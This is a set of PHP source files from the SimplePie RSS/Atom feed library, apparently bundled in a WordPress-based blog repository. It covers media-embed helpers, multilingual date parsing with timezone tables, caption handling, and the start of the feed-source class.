src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>'); } else { document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>'); } } function embed_flash(bgcolor, width, height, link, loop, type) { document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>'); } function embed_flv(width, height, link, placeholder, loop, player) { document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>'); } function embed_wmedia(width, height, link) { document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>'); } <?php } /** * Get the SimplePie build timestamp * * Uses the git index if it exists, otherwise uses the modification time * of the newest file. */ public static function get_build() { $root = dirname(dirname(__FILE__)); if (file_exists($root . '/.git/index')) { return filemtime($root . '/.git/index'); } elseif (file_exists($root . '/SimplePie')) { $time = 0; foreach (glob($root . '/SimplePie/*.php') as $file) { if (($mtime = filemtime($file)) > $time) { $time = $mtime; } } return $time; } elseif (file_exists(dirname(__FILE__) . '/Core.php')) { return filemtime(dirname(__FILE__) . '/Core.php'); } else { return filemtime(__FILE__); } } /** * Format debugging information */ public static function debug(&$sp) { $info = 'SimplePie ' . SIMPLEPIE_VERSION . ' Build ' . SIMPLEPIE_BUILD . "\n"; $info .= 'PHP ' . PHP_VERSION . "\n"; if ($sp->error() !== null) { $info .= 'Error occurred: ' . $sp->error() . "\n"; } else { $info .= "No error found.\n"; } $info .= "Extensions:\n"; $extensions = array('pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml'); foreach ($extensions as $ext) { if (extension_loaded($ext)) { $info .= " $ext loaded\n"; switch ($ext) { case 'pcre': $info .= ' Version ' . PCRE_VERSION . "\n"; break; case 'curl': $version = curl_version(); $info .= ' Version ' . $version['version'] . "\n"; break; case 'mbstring': $info .= ' Overloading: ' . mb_get_info('func_overload') . "\n"; break; case 'iconv': $info .= ' Version ' . ICONV_VERSION . "\n"; break; case 'xml': $info .= ' Version ' . LIBXML_DOTTED_VERSION . "\n"; break; } } else { $info .= " $ext not loaded\n"; } } return $info; } public static function silence_errors($num, $str) { // No-op } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Misc.php
PHP
asf20
51,559
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Date Parser * * @package SimplePie * @subpackage Parsing */ class SimplePie_Parse_Date { /** * Input data * * @access protected * @var string */ var $date; /** * List of days, calendar day name => ordinal day number in the week * * @access protected * @var array */ var $day = array( // English 'mon' => 1, 'monday' => 1, 'tue' => 2, 'tuesday' => 2, 'wed' => 3, 'wednesday' => 3, 'thu' => 4, 'thursday' => 4, 'fri' => 5, 'friday' => 5, 'sat' => 6, 'saturday' => 6, 'sun' => 7, 'sunday' => 7, // Dutch 'maandag' => 1, 'dinsdag' => 2, 'woensdag' => 3, 'donderdag' => 4, 'vrijdag' => 5, 'zaterdag' => 6, 'zondag' => 7, // French 'lundi' => 1, 'mardi' => 2, 'mercredi' => 3, 'jeudi' => 4, 'vendredi' => 5, 'samedi' => 6, 'dimanche' => 7, // German 'montag' => 1, 'dienstag' => 2, 'mittwoch' => 3, 'donnerstag' => 4, 'freitag' => 5, 'samstag' => 6, 'sonnabend' => 6, 'sonntag' => 7, // Italian 'lunedì' => 1, 'martedì' => 2, 'mercoledì' => 3, 'giovedì' => 4, 'venerdì' => 5, 'sabato' => 6, 'domenica' => 7, // Spanish 'lunes' => 1, 'martes' => 2, 'miércoles' => 3, 'jueves' => 4, 'viernes' => 5, 'sábado' => 6, 'domingo' => 7, // Finnish 'maanantai' => 1, 'tiistai' => 2, 'keskiviikko' => 3, 'torstai' => 4, 'perjantai' => 5, 'lauantai' => 6, 'sunnuntai' => 7, // Hungarian 'hétfő' => 1, 'kedd' => 2, 'szerda' => 3, 'csütörtok' => 4, 'péntek' => 5, 'szombat' => 6, 'vasárnap' => 7, // Greek 'Δευ' => 1, 'Τρι' => 2, 'Τετ' => 3, 'Πεμ' => 4, 'Παρ' => 5, 'Σαβ' => 6, 'Κυρ' => 7, ); /** * List of months, calendar month name => calendar month number * * @access protected * @var array */ var $month = array( // English 'jan' => 1, 'january' => 1, 'feb' => 2, 'february' => 2, 'mar' => 3, 'march' => 3, 'apr' => 4, 'april' => 4, 'may' => 5, // No long form of May 'jun' => 6, 'june' => 6, 'jul' => 7, 'july' => 7, 'aug' => 8, 'august' => 8, 'sep' => 9, 'september' => 8, 'oct' => 10, 'october' => 10, 'nov' => 11, 'november' => 11, 'dec' => 12, 'december' => 12, // Dutch 'januari' => 1, 'februari' => 2, 'maart' => 3, 'april' => 4, 'mei' => 5, 'juni' => 6, 'juli' => 7, 'augustus' => 8, 'september' => 9, 'oktober' => 10, 'november' => 11, 'december' => 12, // French 'janvier' => 1, 'février' => 2, 'mars' => 3, 'avril' => 4, 'mai' => 5, 'juin' => 6, 'juillet' => 7, 'août' => 8, 'septembre' => 9, 'octobre' => 10, 'novembre' => 11, 'décembre' => 12, // German 'januar' => 1, 'februar' => 2, 'märz' => 3, 'april' => 4, 'mai' => 5, 'juni' => 6, 'juli' => 7, 'august' => 8, 'september' => 9, 'oktober' => 10, 'november' => 11, 'dezember' => 12, // Italian 'gennaio' => 1, 'febbraio' => 2, 'marzo' => 3, 'aprile' => 4, 'maggio' => 5, 'giugno' => 6, 'luglio' => 7, 'agosto' => 8, 'settembre' => 9, 'ottobre' => 10, 'novembre' => 11, 'dicembre' => 12, // Spanish 'enero' => 1, 'febrero' => 2, 'marzo' => 3, 'abril' => 4, 'mayo' => 5, 'junio' => 6, 'julio' => 7, 'agosto' => 8, 'septiembre' => 9, 'setiembre' => 9, 'octubre' => 10, 'noviembre' => 11, 'diciembre' => 12, // Finnish 'tammikuu' => 1, 'helmikuu' => 2, 'maaliskuu' => 3, 'huhtikuu' => 4, 'toukokuu' => 5, 'kesäkuu' => 6, 'heinäkuu' => 7, 'elokuu' => 8, 'suuskuu' => 9, 'lokakuu' => 10, 'marras' => 11, 'joulukuu' => 12, // Hungarian 'január' => 1, 'február' => 2, 'március' => 3, 'április' => 4, 'május' => 5, 'június' => 6, 'július' => 7, 'augusztus' => 8, 'szeptember' => 9, 'október' => 10, 'november' => 11, 'december' => 12, // Greek 'Ιαν' => 1, 'Φεβ' => 2, 'Μάώ' => 3, 'Μαώ' => 3, 'Απρ' => 4, 'Μάι' => 5, 'Μαϊ' => 5, 'Μαι' => 5, 'Ιούν' => 6, 'Ιον' => 6, 'Ιούλ' => 7, 'Ιολ' => 7, 'Αύγ' => 8, 'Αυγ' => 8, 'Σεπ' => 9, 'Οκτ' => 10, 'Νοέ' => 11, 'Δεκ' => 12, ); /** * List of timezones, abbreviation => offset from UTC * * @access protected * @var array */ var $timezone = array( 'ACDT' => 37800, 'ACIT' => 28800, 'ACST' => 34200, 'ACT' => -18000, 'ACWDT' => 35100, 'ACWST' => 31500, 'AEDT' => 39600, 'AEST' => 36000, 'AFT' => 16200, 'AKDT' => -28800, 'AKST' => -32400, 'AMDT' => 18000, 'AMT' => -14400, 'ANAST' => 46800, 'ANAT' => 43200, 'ART' => -10800, 'AZOST' => -3600, 'AZST' => 18000, 'AZT' => 14400, 'BIOT' => 21600, 'BIT' => -43200, 'BOT' => -14400, 'BRST' => -7200, 'BRT' => -10800, 'BST' => 3600, 'BTT' => 21600, 'CAST' => 18000, 'CAT' => 7200, 'CCT' => 23400, 'CDT' => -18000, 'CEDT' => 7200, 'CET' => 3600, 'CGST' => -7200, 'CGT' => -10800, 'CHADT' => 49500, 'CHAST' => 45900, 'CIST' => -28800, 'CKT' => -36000, 'CLDT' => -10800, 'CLST' => -14400, 'COT' => -18000, 'CST' => -21600, 'CVT' => -3600, 'CXT' => 25200, 'DAVT' => 25200, 'DTAT' => 36000, 'EADT' => -18000, 'EAST' => -21600, 'EAT' => 10800, 'ECT' => -18000, 'EDT' => -14400, 'EEST' => 10800, 'EET' => 7200, 'EGT' => -3600, 'EKST' => 21600, 'EST' => -18000, 'FJT' => 43200, 'FKDT' => -10800, 'FKST' => -14400, 'FNT' => -7200, 'GALT' => -21600, 'GEDT' => 14400, 'GEST' => 10800, 'GFT' => -10800, 'GILT' => 43200, 'GIT' => -32400, 'GST' => 14400, 'GST' => -7200, 'GYT' => -14400, 'HAA' => -10800, 'HAC' => -18000, 'HADT' => -32400, 'HAE' => -14400, 'HAP' => -25200, 'HAR' => -21600, 'HAST' => -36000, 'HAT' => -9000, 'HAY' => -28800, 'HKST' => 28800, 'HMT' => 18000, 'HNA' => -14400, 'HNC' => -21600, 'HNE' => -18000, 'HNP' => -28800, 'HNR' => -25200, 'HNT' => -12600, 'HNY' => -32400, 'IRDT' => 16200, 'IRKST' => 32400, 'IRKT' => 28800, 'IRST' => 12600, 'JFDT' => -10800, 'JFST' => -14400, 'JST' => 32400, 'KGST' => 21600, 'KGT' => 18000, 'KOST' => 39600, 'KOVST' => 28800, 'KOVT' => 25200, 'KRAST' => 28800, 'KRAT' => 25200, 'KST' => 32400, 'LHDT' => 39600, 'LHST' => 37800, 'LINT' => 50400, 'LKT' => 21600, 'MAGST' => 43200, 'MAGT' => 39600, 'MAWT' => 21600, 'MDT' => -21600, 'MESZ' => 7200, 'MEZ' => 3600, 'MHT' => 43200, 'MIT' => -34200, 'MNST' => 32400, 'MSDT' => 14400, 'MSST' => 10800, 'MST' => -25200, 'MUT' => 14400, 'MVT' => 18000, 'MYT' => 28800, 'NCT' => 39600, 'NDT' => -9000, 'NFT' => 41400, 'NMIT' => 36000, 'NOVST' => 25200, 'NOVT' => 21600, 'NPT' => 20700, 'NRT' => 43200, 'NST' => -12600, 'NUT' => -39600, 'NZDT' => 46800, 'NZST' => 43200, 'OMSST' => 25200, 'OMST' => 21600, 'PDT' => -25200, 'PET' => -18000, 'PETST' => 46800, 'PETT' => 43200, 'PGT' => 36000, 'PHOT' => 46800, 'PHT' => 28800, 'PKT' => 18000, 'PMDT' => -7200, 'PMST' => -10800, 'PONT' => 39600, 'PST' => -28800, 'PWT' => 32400, 'PYST' => -10800, 'PYT' => -14400, 'RET' => 14400, 'ROTT' => -10800, 'SAMST' => 18000, 'SAMT' => 14400, 'SAST' => 7200, 'SBT' => 39600, 'SCDT' => 46800, 'SCST' => 43200, 'SCT' => 14400, 'SEST' => 3600, 'SGT' => 28800, 'SIT' => 28800, 'SRT' => -10800, 'SST' => -39600, 'SYST' => 10800, 'SYT' => 7200, 'TFT' => 18000, 'THAT' => -36000, 'TJT' => 18000, 'TKT' => -36000, 'TMT' => 18000, 'TOT' => 46800, 'TPT' => 32400, 'TRUT' => 36000, 'TVT' => 43200, 'TWT' => 28800, 'UYST' => -7200, 'UYT' => -10800, 'UZT' => 18000, 'VET' => -14400, 'VLAST' => 39600, 'VLAT' => 36000, 'VOST' => 21600, 'VUT' => 39600, 'WAST' => 7200, 'WAT' => 3600, 'WDT' => 32400, 'WEST' => 3600, 'WFT' => 43200, 'WIB' => 25200, 'WIT' => 32400, 'WITA' => 28800, 'WKST' => 18000, 'WST' => 28800, 'YAKST' => 36000, 'YAKT' => 32400, 'YAPT' => 36000, 'YEKST' => 21600, 'YEKT' => 18000, ); /** * Cached PCRE for SimplePie_Parse_Date::$day * * @access protected * @var string */ var $day_pcre; /** * Cached PCRE for SimplePie_Parse_Date::$month * * @access protected * @var string */ var $month_pcre; /** * Array of user-added callback methods * * @access private * @var array */ var $built_in = array(); /** * Array of user-added callback methods * * @access private * @var array */ var $user = array(); /** * Create new SimplePie_Parse_Date object, and set self::day_pcre, * self::month_pcre, and self::built_in * * @access private */ public function __construct() { $this->day_pcre = '(' . implode(array_keys($this->day), '|') . ')'; $this->month_pcre = '(' . implode(array_keys($this->month), '|') . ')'; static $cache; if (!isset($cache[get_class($this)])) { $all_methods = get_class_methods($this); foreach ($all_methods as $method) { if (strtolower(substr($method, 0, 5)) === 'date_') { $cache[get_class($this)][] = $method; } } } foreach ($cache[get_class($this)] as $method) { $this->built_in[] = $method; } } /** * Get the object * * @access public */ public static function get() { static $object; if (!$object) { $object = new SimplePie_Parse_Date; } return $object; } /** * Parse a date * * @final * @access public * @param string $date Date to parse * @return int Timestamp corresponding to date string, or false on failure */ public function parse($date) { foreach ($this->user as $method) { if (($returned = call_user_func($method, $date)) !== false) { return $returned; } } foreach ($this->built_in as $method) { if (($returned = call_user_func(array($this, $method), $date)) !== false) { return $returned; } } return false; } /** * Add a callback method to parse a date * * @final * @access public * @param callback $callback */ public function add_callback($callback) { if (is_callable($callback)) { $this->user[] = $callback; } else { trigger_error('User-supplied function must be a valid callback', E_USER_WARNING); } } /** * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as * well as allowing any of upper or lower case "T", horizontal tabs, or * spaces to be used as the time seperator (including more than one)) * * @access protected * @return int Timestamp */ public function date_w3cdtf($date) { static $pcre; if (!$pcre) { $year = '([0-9]{4})'; $month = $day = $hour = $minute = $second = '([0-9]{2})'; $decimal = '([0-9]*)'; $zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))'; $pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Year 2: Month 3: Day 4: Hour 5: Minute 6: Second 7: Decimal fraction of a second 8: Zulu 9: Timezone ± 10: Timezone hours 11: Timezone minutes */ // Fill in empty matches for ($i = count($match); $i <= 3; $i++) { $match[$i] = '1'; } for ($i = count($match); $i <= 7; $i++) { $match[$i] = '0'; } // Numeric timezone if (isset($match[9]) && $match[9] !== '') { $timezone = $match[10] * 3600; $timezone += $match[11] * 60; if ($match[9] === '-') { $timezone = 0 - $timezone; } } else { $timezone = 0; } // Convert the number of seconds to an integer, taking decimals into account $second = round($match[6] + $match[7] / pow(10, strlen($match[7]))); return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone; } else { return false; } } /** * Remove RFC822 comments * * @access protected * @param string $data Data to strip comments from * @return string Comment stripped string */ public function remove_rfc2822_comments($string) { $string = (string) $string; $position = 0; $length = strlen($string); $depth = 0; $output = ''; while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) { $output .= substr($string, $position, $pos - $position); $position = $pos + 1; if ($string[$pos - 1] !== '\\') { $depth++; while ($depth && $position < $length) { $position += strcspn($string, '()', $position); if ($string[$position - 1] === '\\') { $position++; continue; } elseif (isset($string[$position])) { switch ($string[$position]) { case '(': $depth++; break; case ')': $depth--; break; } $position++; } else { break; } } } else { $output .= '('; } } $output .= substr($string, $position); return $output; } /** * Parse RFC2822's date format * * @access protected * @return int Timestamp */ public function date_rfc2822($date) { static $pcre; if (!$pcre) { $wsp = '[\x09\x20]'; $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)'; $optional_fws = $fws . '?'; $day_name = $this->day_pcre; $month = $this->month_pcre; $day = '([0-9]{1,2})'; $hour = $minute = $second = '([0-9]{2})'; $year = '([0-9]{2,4})'; $num_zone = '([+\-])([0-9]{2})([0-9]{2})'; $character_zone = '([A-Z]{1,5})'; $zone = '(?:' . $num_zone . '|' . $character_zone . ')'; $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i'; } if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) { /* Capturing subpatterns: 1: Day name 2: Day 3: Month 4: Year 5: Hour 6: Minute 7: Second 8: Timezone ± 9: Timezone hours 10: Timezone minutes 11: Alphabetic timezone */ // Find the month number $month = $this->month[strtolower($match[3])]; // Numeric timezone if ($match[8] !== '') { $timezone = $match[9] * 3600; $timezone += $match[10] * 60; if ($match[8] === '-') { $timezone = 0 - $timezone; } } // Character timezone elseif (isset($this->timezone[strtoupper($match[11])])) { $timezone = $this->timezone[strtoupper($match[11])]; } // Assume everything else to be -0000 else { $timezone = 0; } // Deal with 2/3 digit years if ($match[4] < 50) { $match[4] += 2000; } elseif ($match[4] < 1000) { $match[4] += 1900; } // Second is optional, if it is empty set it to zero if ($match[7] !== '') { $second = $match[7]; } else { $second = 0; } return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone; } else { return false; } } /** * Parse RFC850's date format * * @access protected * @return int Timestamp */ public function date_rfc850($date) { static $pcre; if (!$pcre) { $space = '[\x09\x20]+'; $day_name = $this->day_pcre; $month = $this->month_pcre; $day = '([0-9]{1,2})'; $year = $hour = $minute = $second = '([0-9]{2})'; $zone = '([A-Z]{1,5})'; $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Day name 2: Day 3: Month 4: Year 5: Hour 6: Minute 7: Second 8: Timezone */ // Month $month = $this->month[strtolower($match[3])]; // Character timezone if (isset($this->timezone[strtoupper($match[8])])) { $timezone = $this->timezone[strtoupper($match[8])]; } // Assume everything else to be -0000 else { $timezone = 0; } // Deal with 2 digit year if ($match[4] < 50) { $match[4] += 2000; } else { $match[4] += 1900; } return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone; } else { return false; } } /** * Parse C99's asctime()'s date format * * @access protected * @return int Timestamp */ public function date_asctime($date) { static $pcre; if (!$pcre) { $space = '[\x09\x20]+'; $wday_name = $this->day_pcre; $mon_name = $this->month_pcre; $day = '([0-9]{1,2})'; $hour = $sec = $min = '([0-9]{2})'; $year = '([0-9]{4})'; $terminator = '\x0A?\x00?'; $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Day name 2: Month 3: Day 4: Hour 5: Minute 6: Second 7: Year */ $month = $this->month[strtolower($match[2])]; return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]); } else { return false; } } /** * Parse dates using strtotime() * * @access protected * @return int Timestamp */ public function date_strtotime($date) { $strtotime = strtotime($date); if ($strtotime === -1 || $strtotime === false) { return false; } else { return $strtotime; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Parse/Date.php
PHP
asf20
19,683
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:text>` captions as defined in Media RSS. * * Used by {@see SimplePie_Enclosure::get_caption()} and {@see SimplePie_Enclosure::get_captions()} * * This class can be overloaded with {@see SimplePie::set_caption_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Caption { /** * Content type * * @var string * @see get_type() */ var $type; /** * Language * * @var string * @see get_language() */ var $lang; /** * Start time * * @var string * @see get_starttime() */ var $startTime; /** * End time * * @var string * @see get_endtime() */ var $endTime; /** * Caption text * * @var string * @see get_text() */ var $text; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null) { $this->type = $type; $this->lang = $lang; $this->startTime = $startTime; $this->endTime = $endTime; $this->text = $text; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the end time * * @return string|null Time in the format 'hh:mm:ss.SSS' */ public function get_endtime() { if ($this->endTime !== null) { return $this->endTime; } else { return null; } } /** * Get the language * * @link http://tools.ietf.org/html/rfc3066 * @return string|null Language code as per RFC 3066 */ public function get_language() { if ($this->lang !== null) { return $this->lang; } else { return null; } } /** * Get the start time * * @return string|null Time in the format 'hh:mm:ss.SSS' */ public function get_starttime() { if ($this->startTime !== null) { return $this->startTime; } else { return null; } } /** * Get the text of the caption * * @return string|null */ public function get_text() { if ($this->text !== null) { return $this->text; } else { return null; } } /** * Get the content type (not MIME type) * * @return string|null Either 'text' or 'html' */ public function get_type() { if ($this->type !== null) { return $this->type; } else { return null; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Caption.php
PHP
asf20
4,510
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<atom:source>` * * Used by {@see SimplePie_Item::get_source()} * * This class can be overloaded with {@see SimplePie::set_source_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Source { var $item; var $data = array(); protected $registry; public function __construct($item, $data) { $this->item = $item; $this->data = $data; } public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function __toString() { return md5(serialize($this->data)); } public function get_source_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } else { return null; } } public function get_base($element = array()) { return $this->item->get_base($element); } public function sanitize($data, $type, $base = '') { return $this->item->sanitize($data, $type, $base); } public function get_item() { return $this->item; } public function get_title() { if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } else { return null; } } public function get_categories() { $categories = array(); foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); if 